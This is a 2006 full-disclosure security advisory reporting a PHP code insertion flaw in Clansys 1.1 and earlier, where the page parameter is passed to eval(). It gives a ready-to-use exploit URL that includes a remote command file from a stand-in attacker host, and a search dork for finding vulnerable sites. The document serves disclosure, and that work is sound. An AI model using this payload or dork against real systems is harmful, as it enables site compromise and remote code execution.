βSecurity Reportβ
Advisory: Clansys <= 1.1 PHP Code Insertion Vulnerability.
Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI
Date: 23/04/06 21:07 PM
Vendor: Clansys (http://www.clansys.de.vu/)
Version: 1.1 and prior versions must be affected.
About: Via this methods remote attacker can insert PHP code to Clansys.
The page parameter in index.php did not sanitized properly.
You can found vulnerable code at line 126 as an
Code->
eval("?>" . $output);
<-Code
Purely nice coding isn't it?;)
Level: Highly Critical
How&Example:
GET -> http://[victim]/[ClanSysPath]/index.php?page=[PHPCode]
EXAMPLE ->
http://[victim]/[ClanSysPath]/index.php?page=<?include($s);?>&s=http://yourhost.com/cmd.txt?
With this example remote attacker can include arbitrary PHP filesβ¦
Timeline:
- 23/04/2006: Vulnerability found.
- 23/04/2006: Contacted with vendor and waiting reply.
Dorks: "ClanSys v1.1"
Credits: WW, str0ke , n0m3rcy and all my friends
PS: Corrected example
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/